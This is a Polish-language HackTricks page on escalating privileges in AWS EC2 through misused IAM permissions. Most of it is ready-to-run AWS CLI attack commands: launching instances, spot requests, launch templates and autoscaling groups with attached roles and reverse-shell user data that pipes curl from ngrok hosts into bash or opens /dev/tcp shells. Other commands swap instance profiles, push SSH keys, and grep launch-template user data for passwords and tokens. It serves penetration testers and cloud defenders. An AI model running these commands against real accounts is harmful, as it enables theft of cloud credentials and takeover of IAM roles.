AWS - EC2 Privesc

Support HackTricks

EC2

Aby uzyskać więcej informacji o EC2, sprawdź:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Napastnik mógłby utworzyć instancję, przypisując rolę IAM, a następnie uzyskać dostęp do instancji, aby ukraść dane uwierzytelniające roli IAM z punktu końcowego metadanych.

  • Dostęp przez SSH

Uruchom nową instancję, używając utworzonego klucza ssh (--key-name), a następnie zaloguj się do niej przez ssh (jeśli chcesz utworzyć nowy, możesz potrzebować uprawnienia ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Dostęp przez rev shell w danych użytkownika

Możesz uruchomić nową instancję używając danych użytkownika (--user-data), które wyślą ci rev shell. Nie musisz w ten sposób określać grupy zabezpieczeń.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Bądź ostrożny z GuradDuty, jeśli używasz poświadczeń roli IAM poza instancją:

AWS - GuardDuty Enum

Potencjalny wpływ: Bezpośrednie privesc do dowolnej roli EC2 przypisanej do istniejących profili instancji.

Privesc do ECS

Z tym zestawem uprawnień możesz również utworzyć instancję EC2 i zarejestrować ją w klastrze ECS. W ten sposób usługi ECS będą uruchamiane w instancji EC2, do której masz dostęp, a następnie możesz przeniknąć te usługi (kontenery dockerowe) i ukraść ich przypisane role ECS.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Aby dowiedzieć się, jak wymusić uruchomienie usług ECS na tej nowej instancji EC2, sprawdź:

AWS - ECS Privesc

Jeśli nie możesz utworzyć nowej instancji, ale masz uprawnienie ecs:RegisterContainerInstance, możesz być w stanie zarejestrować instancję w klastrze i przeprowadzić skomentowany atak.

Potencjalny wpływ: Bezpośredni privesc do ról ECS przypisanych do zadań.

iam:PassRole, iam:AddRoleToInstanceProfile

Podobnie jak w poprzednim scenariuszu, atakujący z tymi uprawnieniami mógłby zmienić rolę IAM skompromitowanej instancji, aby mógł ukraść nowe poświadczenia. Ponieważ profil instancji może mieć tylko 1 rolę, jeśli profil instancji już ma rolę (typowy przypadek), będziesz również potrzebować iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Jeśli profil instancji ma rolę i atakujący nie może jej usunąć, istnieje inne obejście. Może znaleźć profil instancji bez roli lub utworzyć nowy (iam:CreateInstanceProfile), dodać rolę do tego profilu instancji (jak wcześniej omówiono) i przypisać profil instancji do skompromitowanej instancji:

  • Jeśli instancja nie ma żadnego profilu instancji (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potencjalny wpływ: Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub specyficzny status profilu instancji).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Dzięki tym uprawnieniom możliwe jest zmienienie profilu instancji powiązanego z instancją, więc jeśli atakujący miał już dostęp do instancji, będzie mógł ukraść poświadczenia dla większej liczby ról profilu instancji, zmieniając ten, który jest z nią powiązany.

  • Jeśli ma profil instancji, możesz usunąć profil instancji (ec2:DisassociateIamInstanceProfile) i powiązać go *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • lub zamień profil instancji skompromitowanej instancji (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```

Potencjalny wpływ: Bezpośrednie podniesienie uprawnień do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub specyficzny status profilu instancji).

ec2:RequestSpotInstances,iam:PassRole

Napastnik z uprawnieniami ec2:RequestSpotInstances i iam:PassRole może zażądać Spot Instance z przypisaną rolą EC2 i rev shell w danych użytkownika. Gdy instancja zostanie uruchomiona, może ukraść rolę IAM.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Atakujący z ec2:ModifyInstanceAttribute może modyfikować atrybuty instancji. Wśród nich może zmienić dane użytkownika, co oznacza, że może sprawić, że instancja uruchomi dowolne dane. Może to być użyte do uzyskania rev shell do instancji EC2.

Należy zauważyć, że atrybuty mogą być modyfikowane tylko wtedy, gdy instancja jest zatrzymana, więc uprawnienia ec2:StopInstances i ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Potencjalny wpływ: Bezpośrednie privesc do dowolnej roli IAM EC2 przypisanej do utworzonej instancji.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Napastnik z uprawnieniami ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate i ec2:ModifyLaunchTemplate może utworzyć nową wersję szablonu uruchamiania z rev shellem w danych użytkownika i dowolną rolą IAM EC2 na nim, zmienić wersję domyślną, a dowolna grupa Autoscaler korzystająca z tego szablonu uruchamiania, która jest skonfigurowana do używania najświeższej lub domyślnej wersji, ponownie uruchomi instancje korzystające z tego szablonu i wykona rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Potencjalny wpływ: Bezpośrednie podniesienie uprawnień do innej roli EC2.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Napastnik z uprawnieniami autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole może utworzyć konfigurację uruchamiania z rolą IAM i rev shellem w danych użytkownika, a następnie utworzyć grupę autoskalowania z tej konfiguracji i czekać na rev shell, aby ukraść rolę IAM.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Potencjalny wpływ: Bezpośrednie privesc do innej roli EC2.

!autoscaling

Zestaw uprawnień ec2:CreateLaunchTemplate i autoscaling:CreateAutoScalingGroup nie wystarcza, aby eskalować uprawnienia do roli IAM, ponieważ aby dołączyć rolę określoną w Konfiguracji Uruchamiania lub w Szablonie Uruchamiania potrzebujesz uprawnień iam:PassRole i ec2:RunInstances (co jest znanym privesc).

ec2-instance-connect:SendSSHPublicKey

Atakujący z uprawnieniem ec2-instance-connect:SendSSHPublicKey może dodać klucz ssh do użytkownika i użyć go do uzyskania dostępu (jeśli ma dostęp ssh do instancji) lub do eskalacji uprawnień.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Potencjalny wpływ: Bezpośrednie podniesienie uprawnień do ról IAM EC2 przypisanych do działających instancji.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Atakujący z uprawnieniem ec2-instance-connect:SendSerialConsoleSSHPublicKey może dodać klucz ssh do połączenia szeregowego. Jeśli port szeregowy nie jest włączony, atakujący potrzebuje uprawnienia ec2:EnableSerialConsoleAccess, aby go włączyć.

Aby połączyć się z portem szeregowym, musisz również znać nazwę użytkownika i hasło użytkownika wewnątrz maszyny.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Ten sposób nie jest zbyt przydatny do privesc, ponieważ musisz znać nazwę użytkownika i hasło, aby go wykorzystać.

Potencjalny wpływ: (Bardzo trudny do udowodnienia) Bezpośredni privesc do ról IAM EC2 przypisanych do działających instancji.

describe-launch-templates,describe-launch-template-versions

Ponieważ szablony uruchamiania mają wersjonowanie, atakujący z uprawnieniami ec2:describe-launch-templates i ec2:describe-launch-template-versions mógłby je wykorzystać do odkrycia wrażliwych informacji, takich jak poświadczenia obecne w danych użytkownika. Aby to osiągnąć, poniższy skrypt przechodzi przez wszystkie wersje dostępnych szablonów uruchamiania:

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

W powyższych poleceniach, chociaż określamy pewne wzorce (aws_|password|token|api), możesz użyć innego wyrażenia regularnego, aby wyszukiwać inne rodzaje wrażliwych informacji.

Zakładając, że znajdziemy aws_access_key_id i aws_secret_access_key, możemy użyć tych poświadczeń do uwierzytelnienia w AWS.

Potencjalny wpływ: Bezpośrednia eskalacja uprawnień do użytkownika IAM.

Referencje

Wsparcie dla HackTricks

Last updated